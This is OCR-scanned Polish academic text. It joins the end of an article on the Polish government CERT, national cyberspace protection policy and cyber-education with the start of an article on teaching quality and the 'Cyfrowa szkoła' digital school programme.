2. Rzadowy Zespol Reagowania na Incydenty Komputerowe
— dzialania w zakresie rozpoznawania, zapobiegania
oraz zwalczania cyberzagrozen

W dniu 1 lutego 2008 roku zostal powolany Rzadowy Zespdt Reagowania
na Incydenty Komputerowe CERT.GOV.PL. Zgodnie z dokumentem ,,Raport
0 stanie bezpieczenstwa cyberprzestrzeni RP w 2012 roku” wydanym przez
Agencje Bezpieczenstwa Wewngtrznego, podstawowym zadaniem zespotu jest
zapewnienie i1 rozwijanie zdolnosci jednostek organizacyjnych administracji
publicznej Rzeczypospolitej Polskiej do ochrony przed cyberzagrozeniami, ze
szczegolnym uwzgl¢dnlemem atakow uklerunkowanych na 1nfrastruktur(—; obej-
mujaca systemy i sieci telelnformatyczne ktérych zniszczenie lub zaktocenie
moze stanowi¢ zagrozenie dla zycia, zdrowia ludzi, dziedzictwa narodowego
oraz §rodowiska w znacznych rozmiarach albo spowodowaé powazne straty

9 http://cybsecurity.org/pdfy/RaportCyber-EXE2012.pdf
10 http://cybsecurity.org/pdfy/FBC_Predictions RAPORT_2013.pdf
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materialne, a takze zaklocié¢ funkcjonowanie panstwa™. CERT.GOV.PL wyko-
nuje testy bezpieczenstwa witryn dla administracji panstwowej od 2008 roku®.
Prowadzi program sukcesywnego badania stanu zabezpieczen witryn interneto-
wych nalezacych do instytucji administracji publicznej. Dziatania te maja na
celu okreslenie poziomu bezpieczenstwa aplikacji WWW instytucji publicznych,
a takze usunigcie wykrytych nieprawidtowosci. Instytucje, ktorych witryny zo-
staly przebadane, zostaty poinformowane o wynikach audytu, wykrytych podat-
nos$ciach istniejacych w ich systemach i poinstruowane, jak podatnosci te usu-
ngé. W 2012 roku przebadano 67 witryn nalezacych do 33 instytucji panstwo-
wych. W 2012 roku w trakcie dziatania projektu skanowania witryn interneto-
wych administracji publicznej wykryto ponad 1133 btedy. W 2012 roku, podob-
nie jak w latach poprzednich, odnotowana zostata znaczna liczba atakow typu
website defacement. Ich wynikiem jest czesto podmiana zawartoSci strony
gtownej portalu, umieszczenie na serwerze strony phishingowej lub dodanie
pliku do witryny. Pomimo prowadzonych przez zespét CERT.GOV.PL dziatan
pro aktywnych takich jak testy bezpieczenstwa witryn oraz akcje uswiadamiajg-
ce, sektor polskiej administracji publicznej w dalszym ciggu jest podatny na tego
typu ataki cybernetyczne. Uzytkownik zainteresowany bezpieczenstwem telein-
formatycznym moze korzysta¢ z informacji umieszczonych w witrynie™®. Witry-
na jest zrodtem specjalistycznych informacji zwigzanych z bezpieczenstwem
teleinformatycznym. Publikowane sa tam m.in. aktualne informacje dotyczace
istotnych zagrozen, nowych podatnosci w popularnych systemach i aplikacjach,
najczestszych form atakow sieciowych oraz ochrony przed zagrozeniami.
W zasobach witryny uzytkownik znajdzie réwniez biuletyny bezpieczenstwa
udostepniane przez producentéw sprzgtu i oprogramowania.

W dniu 25 czerwca 2013 roku Komitet Staty Rady Ministrow przyjat dokument
,Polityka Ochrony Cyberprzestrzeni Rzeczypospolitej Polskiej**. Zawarto w nim
informacje dotyczace gldéwnych przestanek i zatozen polityki ochrony cyberprze-
strzeni RP, gléwnych dziatan zwigzanych z bezpieczenstwem cyberprzestrzeni,
procesem wdrozenia i mechanizmami realizacji zapisow dokumentu, finansowa-
niem oraz oceng skutecznosci polityki ochrony cyberprzestrzeni Rzeczypospolitej
Polskiej. W ramach realizacji Polityki Ochrony Cyberprzestrzeni Rzeczypospolitej
Polskiej Rada Ministrow widzi potrzebe rozpoczecia prac nad wdrozeniem dziatan
edukacyjnych. Zaktada si¢, ze dzialania z tego zakresu beda prowadzone wsrod
obecnych oraz przysztych uzytkownikow Cyberprzestrzeni RP.

" Raport o stanie bezpieczenstwa cyberprzestrzeni RP w 2012 roku http://www.cert.gov.pl/
cer/publikacje/raporty-o-stanie-bezpi/605,Raport-o-stanie-bezpieczenstwa-cyberprzestrzeni-RP-w-
2012-roku.html

12 E Schetina, K. Green, J. Carlson, Bezpieczeristwo w sieci, Helion, Gliwice 2002.

18 http://www.cert.gov.pl

14 polityka Ochrony Cyberprzestrzeni Rzeczypospolitej Polskiej http://www.cert.gov.pl/cer/ publi-
kacje/polityka-ochrony-cyber/639,Polityka-Ochrony-Cyberprzestrzeni-Rzeczypospolitej-Polskiej.html
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3. Cyberedukacja dla bezpieczenstwa

W dokumencie ,,Polityka Ochrony Cyberprzestrzeni Rzeczypospolitej Pol-
skiej” zostaly przedstawione zalozenia dotyczace ksztatcenia, szkolen i uswia-
damiania w dziedzinie bezpieczenstwa. Zatozenia te obejmuja: szkolenia petno-
mocnikow ds. bezpieczenstwa cyberprzestrzeni, wprowadzenie tematyki bezpie-
czenstwa teleinformatycznego jako stalego elementu ksztalcenia na uczelniach
wyzszych, ksztalcenie kadry urzedniczej w administracji rzadowej, prowadzenie
kampanii spotecznej o charakterze edukacyjno-prewencyjnym. Jednym z pod-
stawowych aspektow zapewnienia bezpieczenstwa cyberprzestrzeni jest posia-
danie wysoko wykwalifikowanych kadr w sektorze publicznym i prywatnym
odpowiadajacych za utrzymanie systemow teleinformatycznych ze szczegdlnym
uwzglednieniem zasobow kluczowych dla bezpieczenstwa panstwa. W celu
zapewnienia ciagtego doptywu odpowiednio wyszkolonych specjalistow z dzie-
dziny bezpieczenstwa teleinformatycznego staje si¢ konieczne zaangazowanie
szkot wyzszych w realizacje tych zatozen. Zaktada sig, iz zagadnienia zwigzane
z bezpieczenstwem cyberprzestrzeni powinny sta¢ si¢ stalym elementem nau-
czania, a w szczegolnosci powinno to dotyczy¢ uczelni technicznych ksztalca-
cych informatykow. Zaktada si¢ rowniez uwzglednienie tematyki bezpieczen-
stwa teleinformatycznego wsrod efektow ksztatcenia okreslonych w Krajowych
Ramach Kwalifikacji dla Szkolnictwa Wyzszego. Przedstawiono tez zatozenia
obejmujgce przeprowadzenie kampanii spotecznej 0 charakterze edukacyjno-
prewencyjnym. Kampania spoleczna adresowana do dzieci, mtodziezy i ich ro-
dzicow w duzej mierze powinna by¢ realizowana w placowkach oswiatowych
wszystkich szczebli. Przewiduje si¢ rowniez realizacj¢ kampanii za posrednic-
twem s$rodkow masowego przekazu. Zwrdcono uwage na to, z€ powszechnos¢
korzystania przez obywateli z systeméw dotaczonych do sieci Internet oraz
zwigkszajace si¢ znaczenie dostgpnosci ustug oferowanych przez cyberprze-
strzen, wymuszajg konieczno$¢ podnoszenia $wiadomosci odnosnie do bez-
piecznych metod korzystania z Internetu oraz uwrazliwienia obywateli na poja-
wiajace si¢ zagrozenia. Waznymi elementami walki z cyberzagrozeniami sg
$wiadomo$¢ i wiedza na temat sposobow przeciwdziatania i zwalczania zagro-
zen. Podkreslono, ze jedynie odpowiedzialne zachowanie wyedukowanego
uzytkownika moze skutecznie minimalizowa¢ ryzyko wynikajace z istniejacych
zagrozen, we wspoOlczesnym $wiecie zapewnienie bezpieczenstwa teleinforma-
tycznego w duzej mierze zalezy od wiedzy i dzialan kazdego uzytkownika cy-
berprzestrzeni. Kampania spoteczna o charakterze edukacyjno-prewencyjnym
bedzie miata charakter wielowymiarowy 1 w zaleznos$ci od potrzeb jej adresatow
nastgpi zroznicowanie form i tresci przekazu. Skierowana bedzie do ogdtu spo-
teczenstwa, a w szczegdlnosci do: dzieci i mtodziezy, rodzicow oraz nauczycieli.
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Jako grupe¢ najbardziej podatng na wplywy i narazong na zagrozenia z cyber-
przestrzeni wskazano dzieci i mtodziez. Celem wytworzenia nawykow, ktore
uchronig mtodych ludzi przed zagrozeniami czyhajacymi na nich w sieci (np.
przed zjawiskiem zwanym cyberbullying — przemocy w sieci, zawieraniem nie-
bezpiecznych znajomosci, niecenzuralnymi tre$ciami, piractwem, uzaleznieniem
od Internetu) edukacja powinna rozpoczaé si¢ juz od najmtodszych lat™. Wiedze
na temat zagrozen z cyberprzestrzeni dziecko powinno uzyskiwac przede
wszystkim w szkole na wszystkich poziomach edukacji (szkota podstawowa,
gimnazjum, szkota ponadgimnazjalna). Kolejng grupa, do ktorej adresowana
bedzie kampania, sg rodzice. To rodzice sg odpowiedzialni za przygotowanie
dzieci do funkcjonowania w spoteczenstwie w tym w spoteczenstwie informa-
cyjnym. Celem skutecznego nadzoru nad dziatalnoscig dziecka w Internecie
rodzice powinni zdoby¢ odpowiednig wiedz¢ na temat zagrozen z cyberprze-
strzeni oraz metod ich eliminowania. Kampania spoteczna adresowana jest row-
niez do nauczycieli. Podkre$lono, ze od roku 2004 ksztatcenie nauczycieli
w ramach specjalizacji odbywa si¢ zgodnie z Rozporzadzeniem Ministra Eduka-
cji Narodowej i Sportu, okreslajacym standardy ksztatcenia nauczycieli *°.
W ramach zaje¢ obowigzkowych na studiach wyzszych nauczyciele uzyskuja
podstawowa wiedze z zakresu technologii informacyjnych, w tym réwniez bez-
piecznego i $wiadomego korzystania z systemow teleinformatycznych. Zatoze-
niem jest, ze w ramach kampanii spotecznej informacje dotyczace bezpieczen-
stwa teleinformatycznego oraz przedsigwzig¢ edukacyjnych i organizacyjno-
prawnych podejmowanych w ramach Polityki bgda prezentowane na stronach
internetowych Ministerstwa Administracji i Cyfryzacji oraz na stronie Rzado-
wego Zespotu Reagowania na Incydenty Komputerowe CERT.GOV.PL. Nalezy
takze zwroci¢ szczegdlng uwage na jedng z najwickszych inicjatyw poswigco-
nych bezpieczenstwu w sieci, jaka jest projekt ,,3... 2... 1 Internet!”. Program
»3... 2... 1... Internet!” jest jednym z dziatan w ramach inicjatywy Microsoft
,Partnerstwo dla Przysztosci”, ktory dedykowany jest polskiej edukacji i wspie-
ra wszelkie innowacyjne inicjatywy przeciwdzialajace zjawisku ,,wykluczenia
cyfrowego” mtodego pokolenia.

Z.akonczenie

Analizujac przedstawione powyzej dokumenty nalezy pamigta¢ o Sko-
ordynowaniu dziatan z zakresu zapobiegania i zwalczania zagrozen ze strony

15 ). Pyzalski, Agresja elektroniczna i cyberbullying jako nowe ryzykowne zachowania mlodziez, Krakow 2012,
16 Rozporzadzenie Ministra Edukacji Narodowej i Sportu z dnia 7 wrzesnia 2004 r. w sprawie standar-
dow ksztalcenia nauczycieli (Dz.U. nr 207, poz. 2110).
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cyberprzestrzeni. W dokumencie ,,Polityka Ochrony Cyberprzestrzeni Rzeczy-
pospolitej Polskiej” zaprezentowano przewidywalne efekty polityki ochrony
cyberprzestrzeni. Obejmujg one spdjng dla wszystkich zaangazowanych pod-
miotow polityke dotyczaca bezpieczenstwa cyberprzestrzeni, skuteczny system
koordynacji i wymiany informacji pomig¢dzy publicznymi i prywatnymi podmio-
tami odpowiedzialnymi za zapewnianie bezpieczenstwa cyberprzestrzeni oraz
tymi, ktore dysponujg zasobami stanowigcymi krytyczng infrastrukture telein-
formatyczng panstwa. Dziatania te zwigksza rowniez swiadomos¢ obywateli, co
do metod bezpiecznego uzytkowania systeméw dostepnych elektronicznie i sieci
teleinformatycznych.
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QUALITY OF TEACHING AND DIGITAL EDUCATION
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Streszczenie

Artykul w zarysie omawia zagadnienia zwigzane z jakoscig ksztalcenia we wspotczesnej
szkole w kontekscie coraz powszechniejszego wykorzystywania do tego celu srodkéw informa-
tycznych. Z tej perspektywy poddano prébie oceny nowy projekt cyfrowej szkoty. Waznym aspek-
tem postepujacej informatyzacji jest zdrowie, szczegdlnie najmtodszych uzytkownikdw nowocze-
snych technologii.

Summary

Article at a glance discusses issues related to the quality of education in the modern school, in
the context of the increasingly widespread use for the purpose of information. From this perspec-
tive, were subjected to an evaluation of a new design digital school. An important aspect of the
ongoing computerization is health, especially the youngest members of modern technology.

Wstep

Kazda znana nam do tej pory cywilizacja dostosowywata swdj model edu-
kacji do aktualnych potrzeb i wyzwan. Dla kazdej formy spoteczenstwa mozna
takze wskaza¢ technologie, ktore je definiowaty. W spoteczenstwach agrarnych
byty nimi: technologie uprawy roli i hodowli, w przemystowych: technologie
wydobywcze i przetworcze surowcoOw naturalnych, wytworcze oraz energetycz-
ne. W spoteczenstwie informacyjnym tymi technologiami sg: technologie infor-
macyjno-komunikacyjne. To im przypisuje si¢ najwigkszy priorytet i w nich
upatruje si¢ nowych szans rozwoju cywilizacyjnego. Transformacji spoteczen-
stwa towarzyszy przy tym niebywate tempo zmian: spotecznych, kulturowych,
gospodarczych, ekonomicznych i technicznych. Jak zauwaza S. Wioch: ,,jed-
nostka ludzka musi te zmiany nie tylko zaakceptowac, ale takze nauczy¢ si¢ zy¢
W tej nowej rzeczywistosci i wspottworzy¢ ja. W przystosowaniu do zmian naj-
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wigksza role odgrywa edukacja i ona we wspolczesnym §wiecie staje si¢ naj-
wazniejszym wskaznikiem rozwoju kapitatu ludzkiego™'. Stad era spoteczen-
stwa informacyjnego takze narzuca konieczno$¢ zmian w sferze edukacji, ktora
do tej pory realizuje zatozenia cywilizacji industrialnej. Konieczne sa zmiany,
ktore dostosuja wspotczesny model szkoty do rzeczywistych potrzeb, oczekiwan
spotecznych i wyzwan. Potrzebne zatem sg zmiany nie w szkole, lecz szkoty
jako instytucji. Zdaniem C. Banacha: ,;szkota rozwinigta cywilizacyjnie to ta,
ktéra nadgza za rozwojem mediow, komputeryzacja i internetyzacja ksztatcenia;
przygotowuje uczniow do zdobywania informacji z r6znych zrédet, racjonalnego
korzystania z nich oraz przeksztalcania w wiedz¢ i madro$¢; przeciwdziata za-
grozeniom ze strony technologii informacyjnej, obniZeniu si¢ poziomu intelek-
tualnego spoleczenstwa, ekonomicznemu encyklopedyzmowi i rosngcemu stre-

. . . . r o 2
sowi wynikajagcemu z nadmiaru bodzcow™™.

1. Jako$é ksztalcenia

»Z pojeciem jakosci spotykamy si¢, gdy mowa o produkcie lub ustudze.
Dobrej lub ztej jakosci moze by¢ telewizor, samochdd, paczek, a takze obstuga
klienta w restauracji, banku, sadzie, szkole lub szpitalu™. Pierwotna eksplikacje
pojecia ,,jako$¢” przypisuje si¢ Platonowi, ktory okresla ja jako: ,,pewien stopien
doskonatosci”. Z leksykalnych zrodel wynika, Ze jest to: ,,wiasciwos¢, rodzaj,
gatunek, warto$¢ danego przedmiotu czy zjawiska, zgodno$¢ z celem, zgodnosé
ze specyfikacjg, stopien doskonatosci wyrobu Iub ushlugi, zespot cech
i charakterystyk wyrobu lub ustugi, ktore nosza w sobie zdolnos¢ zaspokojenia
okreslonej potrzeby”®. W odniesieniu do pracy szkoly jej jako$é ocenia sie
jako: stopien wykorzystania w dziataniach organizacyjnych, dydaktycznych
i wychowawczych mozliwosci uczniow, nauczycieli oraz warunkow material-
nych, spotecznych i organizacyjnych dla wspierania wszechstronnego rozwoju
ucznia’.

Potencjalnie, wspomniane w przytaczanych definicjach warunki pozostaja
spetnione w polskich szkotach. Pracujg w nich nauczyciele z wyzszym wy-
ksztatceniem (w zdecydowanej wigkszosci po ukonczonych studiach kierunko-

1'S. Wioch, Edukacja jaka? — szansq czy zagrozeniem ucznia [W:] Edukacja w spoleczenstwie
wiedzy, red. K. Denek, A. Kaminiska, W. Kojs, P. Ole$niewicz, Sosnowiec 2010.

2 C. Banach, A. Rajkiewicz, Najpilniejsze problemy do rozwigzania w systemie edukacji
w latach 2004-2015, ,,Nowa Szkota”, nr 1/2004.

3A.J. Blikle, Doktryna jakosci. Rzecz o skutecznym zarzqdzaniu, WWw.moznainaczej.com.pl

*Por.: M. Szymczak (red.), Stownik jezyka polskiego, PWN, Warszawa 1978.

® K. Strozynski, Jakos¢ pracy szkoly [w:] Encyklopedia pedagogiczna XXI wieku, red.
T. Pilch, t. 2, Zak, Warszawa 2003.
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wych o specjalno$ci nauczycielskiej) dysponujacy juz dzisiaj niezlg baza tech-
nicznych $rodkow dydaktycznych, w tym komputeréw. Nad wszystkimi poczy-
naniami szkot i placowek oswiatowych ,,czuwajg” programy mierzenia jakosci
szkot i placowek o$wiatowych. Skad zatem od wielu juz lat w publikacjach
naukowych dominuje ton zlego przygotowania uczniow i to na wszystkich
szczeblach edukacji? Z wysokim prawdopodobienistwem mozna postawié teze,
ze zawirowania w edukacji w duzej mierze zawdzigcza si¢ dynamicznemu roz-
wojowi techniki w tym techniki zwigzanej przede wszystkim z branza informa-
tyczng. Komputer z nowego nieznanego urzadzenia, ktérego mozliwo$ci nikt
poczatkowo do konca nie znal, ewoluowat do rangi urzadzenia burzacego do-
tychczasowe znane schematy funkcjonowania cztowieka, w §rodowisku pracy,

w $rodowisku spotecznym i w rzeczywistosci edukacyjnej. Na t¢ eksplozj¢ tech-

nologiczng przelomu wiekow, warto tez spojrzec¢ z perspektywy Jacquesa Ellula:

»1. Wszelki postep techniczny powoduje zaréwno zyski, jak i straty; gdy cos
dodaje, to zawsze co$ ujmuje.

2. Wszelki postep techniczny stwarza wigcej problemdéw, anizeli rozwiazuje;
sktania nas do postrzegania tych problemow jako technicznych ze swej natu-
ry i popycha do szukania rozwigzan technicznych.

3. Negatywne aspekty technicznych innowacji sa nieroziacznie zwigzane
z aspektami pozytywnymi. Naiwnoscia jest sad, ze technika jest neutralna, iz
moze by¢ uzywana dla dobrych albo dla ztych celow; w rzeczywistos$ci dobre
1 zte konsekwencje sa rownoczesne i nieodtaczne.

4. Wszystkie wynalazki techniczne maja nieprzewidywalne konsekwencje™.

Prawdopodobnie nikt nie przewidywal, ze technologie informatyczne

i informacyjne w skuteczny sposob beda czynnikiem sprzyjajacym ograniczeniu

rozwoju innych, dotad uznawanych za elementarne umiej¢tnosci cztowieka.

Przyktadow na poparcie tej tezy dostarczaja codzienne obserwacje. Wymienmy

kilka najwazniejszych:

e zanik umiejetnosci odrecznego pisania. Przestato si¢ zwraca¢ uwage na
ksztalt i czytelno$¢ znakow, stow i zdan. Czytelnos¢ tekstow ma zapewnié
edytor tekstu;

e Ograniczenie umiej¢tno$ci pisowni zgodnej z zasadami ortografii i in-
terpunkcji — to rowniez zawdzigcza si¢ edytorowi tekstu;

e Komputer, kalkulator, teraz rowniez juz telefon komorkowy — to te urzadzenia
i aplikacje, ktore oduczajag w coraz wigkszym stopniu umiejg¢tnosci pamigcio-
wego liczenia. Juz teraz uczniowie maja ktopoty z tabliczka mnozenia;

e zanik umiejetnosci pracy z podstawowymi przyrzadami kreslarskimi. Wraz
Z tg umiejetnoseig zanika umiejetnos¢ wykonywania kazdego rodzaju rysunku,
w tym rysunku technicznego;

6 Za: T. Goban-Klas, Nadchodzqce spoleczeristwo medialne, ,,Chowanna”, t. 2 (29), US, Ka-
towice 2007.
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e zanik umiegjetnosci przeprowadzenia logicznego wywodu. Obserwuje sig
tendencje do rozwigzania jakiegokolwiek problemu (bez wzglgdu na jego
ztozono$¢) przy pomocy Internetu. Nie wykorzystuje si¢ go zatem do wery-
fikacji wlasnych rozwigzan, ale wszystko co odnalezione w sieci przyjmuje
si¢ w wigkszos$ci przypadkoéw za pewnik niepodlegajacy weryfikacji;

e coraz mniej informacji zapamigtujemy na rzecz ich sktadowania w pa-
mieciach masowych komputera;

e Wsrdd ucznidéw i studentdow obserwuje si¢ coraz wiekszy brak umiejetnosci
prowadzenia notatek;

e degradacji ulega umiej¢tnos¢ tworzenia i wymiany korespondencji. Nie-
slusznie uwaza si¢, ze list e-mail jest czym$ innym niz list tradycyjny. Nie
chodzi oczywiscie o kwestionowanie formy korespondencji elektronicznej,
ale o jej jakos¢ (brak odpowiedzi, skroty jezykowe, nicodpowiednia forma
itp.), a wigc te elementy, ktore uwazato si¢ za stanowiace badz nie o dobrym
wychowaniu;

e zastepowanie prawdziwe] kultury: sztuka teatralna, ambitne kino, literatura,
jej substytutem — komputerem i siecig Internet, np. gry sieciowe, przeglada-
nie ofert handlowych, zdje¢, przegladanie stron internetowych, ktore nie
wnosza niczego nowego do rozwoju intelektualnego cztowieka™’.

Powyzsze ograniczenia to tylko kilka przyktadow i z pewnoscig nie wy-
czerpujacych katalogu potencjalnych zagrozen dla rozwoju intelektualnego
cztowieka, a uzna¢ je mozemy za Ellulem za nieprzewidywalne konsekwencje
upowszechnienia si¢ technologii informacyjno-komunikacyjnych. Wbrew wszy-
stkiemu kolejne reformy systemu o$wiaty nie przynoszg oczekiwanych efektow.
Niestety, takze jak zauwaza A. Bogaj: ,,przeniesienie punktu ciezkosci z procesu
ksztalcenia na jego rezultat, to zmiana, ktdéra w naszym systemie edukacji doko-
nywala si¢ powoli, acz systematycznie. Jej poczatku mozna upatrywaé w latach
70. w szkolnictwie amerykanskim. Wowczas to pojawita si¢ — rzekomo w tro-
sce, 0 jakos¢ ksztatcenia — koncepcja tzw. minimum kompetencji, a wigc okre-
slajaca ten zespdt kompetencji, ktore kazdy uczen powinien posigé¢ w procesie
ksztatcenia. Okazato si¢ wkrotce, ze szkoty nastawily swojg prace na to, z €zego
byly »rozliczane« i tym samym minimum kompetencji oznaczato w praktyce
edukacyjnej zarazem maksimum kompetencji’*®.

Warto odnotowaé, ze powoli w gremiach decyzyjnych zaczynaja by¢ do-
strzegane deficyty kompetencji u ucznidow konczacych okreslony szczebel
ksztatcenia. Zapoczatkowana reforma w 1999 roku ulega pewnym modyfika-
cjom. Zrezygnowano z liceow profilowanych, ktére nie przygotowywaty ani

" A. Piecuch, Multimedialne kompetencje nauczycieli, UR, Rzeszow 2011.
8 A. Bogaj, Wspotczesne wyzwania edukacyjne [w:] Edukacja i technika, red. H. Bednarczyk,
E. Satata, ITE-PIB, Radom 2010.
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merytorycznie, ani praktycznie swoich absolwentow do podjgcia pracy zawodo-
wej, ani tez do rozpoczecia studidow wstzychg. Dostrzezono réwniez potrzebg
przywrocenia matematyki jako przedmiotu obowigzkowego na egzaminie matu-
ralnym oraz zmiany formuty zdawania egzaminu maturalnego z jezyka polskie-
go. Propozycje tych zmian sg na pewno stuszne i z jednej strony powinny pozy-
tywnie wplyna¢ na podniesienie efektow ksztalcenia, z drugiej za$ strony pozy-
tywnie wptynac na dalsze wybory drogi ksztatcenia przez abiturientow.

Innym problemem, z ktérym na biezaco musi si¢ zmierzy¢ szkota kazdego
szczebla nie wylaczajac z tego szkoél wyzszych, to zmiany mentalne
U uczniow/studentow dzi§ niemalze ,,zro$nigtych” z siecig i tworzacych z nig
swego rodzaju jedno$¢. Mozliwo$¢ natychmiastowego siggnigcia do zasobow
informacyjnych w sieci uksztattowata model ucznia/studenta, nastawionego
rowniez na natychmiastowy efekt. Nie widzi on na og6t potrzeby zapamigtywa-
nia okreslonych informacji, a jesli juz je zapamigtuje to: ,,nie potrafi ich interpre-
towac, ani zrobi¢ z nich uzytku — w rezultacie coraz mniej ludzi jest zdolnych do
tak dzi$ cenionej kreatywnosci'®. Era informacji stworzyta generacje ludzi, kto-
rzy sadza, ze wiedzg wigcej niz kiedykolwiek — gdy tymczasem ich zasoby umy-
stowe kurcza si¢, w miare jak wzrasta ich uzaleznienie od Internetu”".

Biegtos¢ w postugiwaniu si¢ klawiatura komputerowa przy wpisywaniu ha-
set do wyszukiwarki internetowej z pewnoscig jest wazng umiej¢tnoscia (spraw-
noscia), ale tylko technologiczng. Niestety, wigkszos¢ uzytkownikdéw t¢ spraw-
no$é utozsamia z posiadaniem wiedzy®. W zdecydowanej wigkszosci uzytkow-
nicy docierajg tylko do informacji i to nie zawsze pewnej i kompletnej. Posiada-
nie informacji to jeszcze nie wiedza. Nowa wiedze mozna wygenerowac tylko
i wylacznie na bazie wiedzy juz posiadanej. Nowa wiedza to ta, ktora jest inno-
wacyjna lub inaczej wnosi nowa jakos¢ — np. technologiczng. Dochodzenie do
Niej jest przewaznie procesem ztozonym, wymagajacym holistycznego spojrze-
nia na problem i rozwigzania ,,po drodze” wielu innych mniej lub bardziej zto-
zonych problemoéw. Proces ten zatem jesli doprowadzi do powstania nowej —
zatozonej jako cel wiedzy, to zostanie wzbogacony dodatkowo o wiedze zdobyta
przy okazji, a ta powigksza dodatkowo baze wiedzy cztowieka™. Istota proble-

® Bardzo miarodajnym zrédtem informacji o jakosci ksztalcenia w liceach profilowanych sa
coroczne raporty Centralnej Komisji Egzaminacyjnej publikowane na stronie internetowej CKE.

103, Morbitzer, Medialnos¢ a sprawnosé¢ edukacyjna ucznia [W:] Czlowiek — Media —
Edukacja, red. J. Morbitzer, E. Musial, UP, Krakow 2012.

Tp.wm. Wegner, A.F. Ward, Jak Google zmienia nasz mozg, ,Swiat Nauki”, nr 1(269)/2014.

12 problematyke zwiazang z wiedza szerzej omowitem w opracowaniu A. Piecuch, Uczenie
sig i nauczanie a inZynieria dydaktyczna, ,JEdukacja — Technika — Informatyka. Teoretyczne
i praktyczne problemy edukacji informatycznej i informacyjnej”, red. W. Lib, W. Walat, UR,
Rzeszow 2009.

¥ Na takiej samej zasadzie pracuja systemy ekspertowe. Kazde rozwiazanie problemu skut-
kuje jego dopisaniem do tzw. bazy wiedzy (knowledge base). Wraz z liczbg rozwiazanych proble-
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mu zatem nie lezy w sprawnosciach technologicznych cztowieka lecz umiejet-
nosciach: pozyskiwania, dekodowania, systematyzowania, przetwarzania, Wyko-
rzystywania i dystrybucji informacji.

2. Projekt cyfrowa szkota™

»~Komputery majg wiele zalet, (...) sg zrodtem aktualnej informacji. Poma-
gaja nam odnalez¢ rézne potrzebne nam informacje, nie tylko do szkoty, ale
réwniez do pracy i do whasnego uzytku™™. W dobie powszechnej informatyzacji
i cyfryzacji, naturalne wydaje si¢ wspomaganie proceséw uczenia si¢ i nau-
czania §rodkami informatycznymi. Obecnie szkolne pracownie informatyczne
zostaly wyposazone w wystarczajacg ilos¢ sprzetu komputerowego. Niestety,
jest on wykorzystywany gtéwnie do nauczania przedmiotow informatycznych.
Pozostate klasopracownie przedmiotowe wyposaza si¢ gtownie w urzadzenia
mobilne typu laptop, z ktorymi wspdipracuja urzadzenia peryferyjne majace
bezposrednie zastosowanie w procesie edukacyjnym. Wymienmy tutaj chociaz-
by tablice interaktywne i projektory multimedialne. To urzadzenia, ktére w isto-
cie wspomagaja prac¢ nauczyciela. Uczen w ramach innych przedmiotéw niz
informatyczne ma znikome szanse na wykorzystanie sprzetu informatycznego
do wspomagania wlasnego procesu uczenia sig.

Propozycja zmiany istniejacego stanu jest Rzadowy program rozwijania
kompetencji ucznidow i nauczycieli w zakresie stosowania technologii informa-
cyjno-komunikacyjnych ,,Cyfrowa szkota”. Podstawag prawng do rozpoczgcia
programu pilotazowego byto: Rozporzadzenie Rady Ministrow z dnia 3 kwietnia
2012 roku w sprawie warunkow, form i trybu realizacji przedsiewzigcia doty-
czacego rozwijania kompetencji uczniow i nauczycieli w zakresie stosowania
technologii informacyjno-komunikacyjnych (Dz.U. nr 72 z dn. 16 kwietnia 2012 r.
poz. 411) oraz Uchwata nr 40/2012 Rady Ministrow z dnia 3 kwietnia 2012 roku
w sprawie Rzadowego programu rozwijania kompetencji uczniéw i nauczycieli
w zakresie stosowania technologii informacyjno-komunikacyjnych ,,Cyfrowa
szkota”. Program integruje w sobie cztery obszary zwane kluczowymi:

e _e-nauczyciel” — obszar majacy na celu podniesienie kompetencji TIK nau-
czycieli;

moéw wzbogacaja si¢ zasoby systemu. Dzigki temu kolejny analogiczny problem moze by¢ roz-
wigzany szybcie;j.

Y A. Piecuch, Uczer w cyfrowej szkole, ,Nowe Horyzonty Edukacji”, nr 1(8)/2014, Via Fer-
rata, Wroctaw 2014.

5 A. Molga, Nauczanie multimedialne, ,,Dydaktyka informatyki. Informatyka wspomagajaca
catozyciowe uczenie si¢”, nr 8/2013, red. A. Piecuch, W. Furmanek, Wyd. UR, Rzeszow 2013.
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e c-zasoby edukacyjne” — obszar majacy za zadanie uzupehienie oferty elek-
tronicznych zasobow edukacyjnych;

e e-szkola” — obszar obejmujacy dziatania zapewniajace wytworzenie odpo-
wiedniej infrastruktury dla TIK w placéwkach szkolnych;

e ,c-uczen” — obszar majacy na celu zapewnienie dostepu uczniow do nowo-
czesnych pomocy dydaktycznych.

Do programu zakwalifikowano tacznie 402 szkoty, w tym: 140 szkot ma-
tych liczacych do 100 uczniow; 165 szkot srednich liczacych od 101 do 300
uczniow 1 97 szkot duzych, w ktorych liczba ucznidw przekraczata 300 oséb.
Program ,,Cyfrowej szkoty” mogl by¢ realizowany w dwoch wariantach. Wa-
riant pierwszy (ktory wybrato 78% szkot) polegal na wykorzystaniu przenosne-
go sprzetu komputerowego wylacznie w szkole, natomiast wariant drugi (sko-
rzystato z niego 22% szkot) udostepniat sprzet uczniom dodatkowo w domach.
Program dedykowany jest dla uczniow szkot podstawowych z klas IV-VI*.

W zapisach celow stosowania TIK w edukacji zapisano: ,,Sama technologia
informacyjna oddana w rece uczniow nie gwarantuje sukcesu edukacyjnego. Nie
chcemy zastgpowaé edukacji jezykowej, matematycznej, przyrodniczej, medial-
nej, muzycznej, plastycznej czy innej, edukacja informatyczna. Chcemy za po-
mocag TIK racjonalne wspiera¢ u uczniow czytanie, pisanie, liczenie, efektywne
komunikowanie si¢ w jezyku ojczystym oraz jezykach obcych, ksztatci¢ arty-
stycznie i medialnie, wprowadza¢ w problemy najblizszego otoczenia i wspol—
czesnego $wiata, realizowa¢ edukacje globalna i obywatelska™’. Z punktu wi-
dzenia aktualnych potrzeb i oczekiwan uczniow projekt wydaje si¢ wychodzié
im na przeciw. Dyskusyjny jest natomiast sposéb wprowadzenia omawianej
innowacji do szkot'®. Pytanie, nad ktorym warto sie zastanowi¢, dotyczy przede
wszystkim szczebla ksztalcenia.

3. Czytanie ze zrozumieniem
Zdolnos¢ czytania i pisania posiadamy dzieki wyspecjalizowaniu si¢ w tych

funkcjach mozgu czlowieka. Ponadto sam proces nauki czytania i pisania wy-
maga skoordynowania czynnosci zwigzanych ze zmystem wzroku i z czynno-

16 Zainteresowany czytelnik znajdzie wiecej informacji na temat projektu na stronie interne-
towej: http://www.cyfrowaszkola.men.gov.pl

Y Modut II. Cele nauczania. Rola TIK w realizacji celéw uczenia sie uczniow, dostepne na:
